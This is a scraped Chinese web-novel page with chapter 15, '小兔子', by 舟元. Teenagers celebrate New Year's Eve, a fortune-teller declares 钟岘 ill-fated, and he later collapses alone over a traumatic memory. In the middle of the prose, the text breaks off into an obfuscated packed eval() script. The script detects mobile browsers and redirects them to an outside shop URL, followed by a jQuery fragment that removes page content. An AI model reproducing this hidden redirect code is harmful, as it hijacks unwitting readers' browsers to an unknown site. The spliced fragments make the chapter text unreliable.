默认冷灰
24号文字
方正启体

15. 小兔子

作者:舟元本书字数:K更新时间:
    就这简单的一笑,单明昼心里的气瞬间消了。


    他无可奈何,又心甘情愿道:“真是败给你了。”


    ...


    新年的钟声马上就要敲响。


    习鸢站着人群中。


    即将十三岁的她原地蹦蹦跳跳,脸上全是抑制不住的喜悦与期待。


    这还是她第一次在广场和这么多人一起倒计时跨年呢,待会儿还会放气球,光是想想就好好玩好有意思。


    头顶多了一顶帽子,毛茸茸的,还有股熟悉到骨子里的气味。


    清爽的柠檬香。


    “帽子戴好,别感冒了。”


    习鸢努努嘴,没回答。


    今年她不要和钟岘说话。


    时代广场的大屏幕上出现从10开始的倒计时数字,人群开始齐声倒数,一声高过一声。


    “10。”


    “9。”


    ……


    “4。”


    还有最后三位数了!


    习鸢心里住进来一只小兔子,在她心口上下左右乱窜,摁都摁不住。


    “3。”


    “2。”


    最后一秒!


    “1。”


    时间拨回到00:00。


    年份增加一,月份又是崭新的1月1日。


    “钟岘!新年快乐!”


    “七七,新年快乐!”


    人潮中两人的声音同时响起,重叠到一块。


    习鸢看着钟岘,钟岘也看着她。


    两双独特惊艳型的眼眸里,仅仅只装得下彼此的身影。


    钟岘笑起来感染力十足。


    天上的星星仿佛都被揉碎乖乖待在他眉眼,深深凹下的酒窝漾着一泓清酒,让人眼迷心醉。


    他走近习鸢,将她头顶的帽子往上提了提,嗓音带着如蜜般的甜与腻:“七七呀,新年好。”


    “新年好,钟岘。我是今年第一个向你说这句话的人哦。”


    习鸢语气除了有喜悦,还有她无意外流露出的霸道占有欲。


    “说吧,你的新年愿望都有什么?老天爷不能帮你实现的,说不定我可以帮你实现哦。”


    钟岘笑意加深。


    他能有什么难实现的愿望呢?


    无非是希望,能离她近一点,再近一点。


    她,能多看几眼自己。


    再者就是……


    钟岘望向天空。


    今晚月亮是满月,又大又圆,散发出泠泠的月光;云淡淡的,温柔地挂在一角。


    不知道是谁放飞了第一只气球。


    接下来是第二只。


    第三只。


    无数只气球往上飞,如同繁星一般,镶嵌到月亮和浮云的周围。


    爸爸妈妈,又一年了。


    你们平安吧?


    于奶奶说没有消息就是最好的消息。


    我在这里,一切都挺好的。


    有了好朋友。


    有了喜欢的女孩。


    钟岘松开手,看着气球一点点加入大军往上飞去。


    ...


    五人往家里走。


    今晚的街道可真热闹。


    有卖小吃的,卖鲜花的,哦居然还有算命的。


    习鸢多瞥了几眼。


    算命的老先生头戴一顶小圆帽,鼻梁架着一副黑色小圆框墨镜,下巴留着几缕胡须,大冬天就只穿了件黑色大马褂,和刻板印象中算命人的装扮不说一模一样,简直是如出一辙。


    单明昼是个爱凑热闹的,巴巴地要去试试。


    没过一会儿,他跑回来,神色难掩激动:“这老先生有点东西,他居然能精准算出我家里有几口人,年纪还有大概长相。”


    曲漾佳和陈晋听完都表示:“这么厉害?”


    单明昼:“是啊,反正也就五块钱,要不去玩玩?”


    曲漾佳问习鸢:“去吗?七七。”


    习鸢摇摇头,挺起胸脯:“身为一名团员,我是坚定的唯物主义者,不信这些。”


    陈晋问钟岘:“那阿岘,你去吗?”


    钟岘垂眸眨了眨眼,抬起眼帘时,他嘴角弯了弯,说:“试试吧。”


    习鸢独自在原地等他们四个人。


    期间没闲着,买了份章鱼小丸子吃,还买一束紫色玫瑰花,是送给祈繁芜的。


    她正纠结着是要买盆绿萝,还是万年青送习常春。


    倏忽,身后传来争吵的声音。


    是单明昼。


    “你这给我朋友算得是什么破玩意儿?不会算你就别算!”


    “就是!”曲漾佳附和,她去拉钟岘:“走,钟岘我们别听他胡说八道!”


    两人转身撞上过来的习鸢。


    习鸢:“怎么了?”


    她从过来视线便一直落在钟岘身上。


    他的脸色比刚才差了许多,眼睛往下看,唇色发白。


    曲漾佳走到习鸢身旁,告诉习鸢:“这个算命老头诅咒钟岘。”


    诅咒?


    习鸢周围的气压冷了下来。


    她走到摊子最前面,还是礼貌地再次确认:“你诅咒我朋友?”


    算命老先生不知道是不是真的瞎,气淡神闲地捋了捋胡须:“我只是实话实说。小姑娘,你那位朋友命格凶煞,我劝你们还是离他远些较好。”


    “钟岘他就是个扫把星!我今天来就是劝你离他远点,别怎么死都不知道!”


    八岁那年那个自称是钟岘小姨女人的话重现在习鸢脑海。


    她目光灼灼地盯着面前的这个老人,第一反应是这是那个女人假扮的,或者派来的,目的无非就是要污蔑诋毁钟岘。


    “骗子。”


    习鸢重重地吐出这两个字。


    她去拉钟岘的手要带他离开,可一碰上,她简直被吓了一大跳。


    钟岘的手怎么可以这么冰?跟个冰块一样。


    再看看钟岘现在这个样子,眼神麻木不聚焦,和失了魂没什么区别。


    习鸢快心疼死了。


    同时她又气那个破算命老头。


    不是算命的都是捡好听的话说的吗?


    为什么到了她的钟岘这里就说这样难听?


    实在是过分!


    习鸢从衣兜里掏出手机。


    曲漾佳:“七七你要打给谁?”


    “12345,我要举报。”


    曲漾佳,单明昼和陈晋三人劝她不至于这样。


    “至于!他说钟岘!”


    习鸢甚至无法将“诅咒”两个字和钟岘名字放在一块。


    因为……因为什么,她说不清楚,但反正就是不行!


    钟岘是她身上的一块逆鳞,谁动,她一定会费尽心思让对方付出代价。


    习鸢快速摁下数字,差一点就要拨通,一只手拉住了她。


    轻轻的,冰冰的。


    “七七,别冲动。我没事。”


    他声音很哑。


    明明内心都痛得不行,眼周泛了一圈的红,眼底浮着层层叠叠的水意,感觉下一秒就要哭出来。


    可偏偏。<


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17165586|196699||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    /p>


    他笑。


    他咧开嘴,露出两个深深的酒窝,对习鸢说:“七七,我真的没事。我没有把他的话放在心上。”


    月光寒凉。


    习鸢跟在钟岘后面,想上前却又不敢,眼睛看着前方几米远的身影。


    像极那年露天电影结束,大家都回家了,就他一个人坐在小板凳上。


    那样单薄、孤寂,悲怆。


    她胸口像是被人狠狠捏住,疼得厉害。


    曲漾佳,单明昼和陈晋走在最后。


    曲漾佳拍打单明昼,声音带着哭腔:“都怪你!算什么命!现在好了,七七在哭,钟岘甚至连哭都哭不出来。”


    单明昼没有狡辩,这回真的是他错了:“对不起。我不知道……”


    他看见曲漾佳掉眼泪,手都不知道该往哪里放。


    慌乱地抬起,轻柔地拂去,安抚:“别哭了佳佳,我真的错了。明天!明天我就去端了那个算命的摊子,你别哭了好不好?”


    曲漾佳一把推开他,不想理他。


    ...


    楼梯口,要分开了。


    习鸢没有动,眼睛看着钟岘。


    他眼睛依旧很红,脸上很干,不像哭过的。


    可是习鸢宁愿钟岘哭。


    “钟岘,你别把气憋在心里好不好?难受的话,哭出来会好受些的。”


    钟岘看着她,抬起手,本能想去摸习鸢的头顶,手在即将碰到时霎时顿住,眼底闪过一丝黯然,转而只是摸了摸她柔软的发尾,发白嘴角轻轻勾起一点弧度,说:“我不哭。快回去吧,明天还要上学呢。”


    “可你……”


    “我没事啊。”


    钟岘挤出一个比哭还难看的笑,或许他也意识到这个笑有多丑,脸再次绷紧。


    垂着头,看着自己和习鸢鞋尖之间的距离。


    “回去吧,七七。我需要一个人待一会儿。”


    钟岘坐在书桌前,后背紧靠在椅背。


    明月高悬,浮云似烟。


    他枯井般的眼睛突然朝下弯。


    “呵。”


    “呵呵哈哈。”


    钟岘额角凸出条条青筋。


    他没哭,反倒是大笑起来。


    “孩子,你命里带煞,是个孤苦无依的命。”


    “还有一句话,我想送你。命中有时终须有,命里无时莫强求。”


    “你的执着,或许会害了你在意的人。”


    执着,会害了在意的人?


    害了在意的人——


    血!


    那些如同岩浆喷发一般的鲜血,钻进他的眼睛、鼻孔、耳朵、嘴巴……


    他满脸哪里都是!


    “yue——!”


    钟岘一个不稳,直接从椅子上摔了下来,发出沉闷的一声响。


    房门被啪啪拍响。


    钟岘浑身发颤发抖,胃里像是有什么东西在翻江倒海,一拳又一拳抡到他的肚皮上,疼得他无力蜷缩,眼角沁出湿意。


    他干呕了一次又一次。


    脑袋昏昏涨涨,如同一颗即将爆炸的气球。


    昏过去之前,他脑海里不断想着:为什么连算命的都不愿骗他?难道他真的,是个,不详的人吗?


    ...


    “因为∠1和∠2互为同位角,所以可得∠2=∠1=30°,而∠3和∠2是互补角,所以∠3=150°。”


    “很好习鸢,坐下吧。”


    习鸢刚要坐下。


    蓦然,她的余光瞄到教室外。
(←快捷键) <<上一章 投推荐票 回目录 标记书签 下一章>> (快捷键→)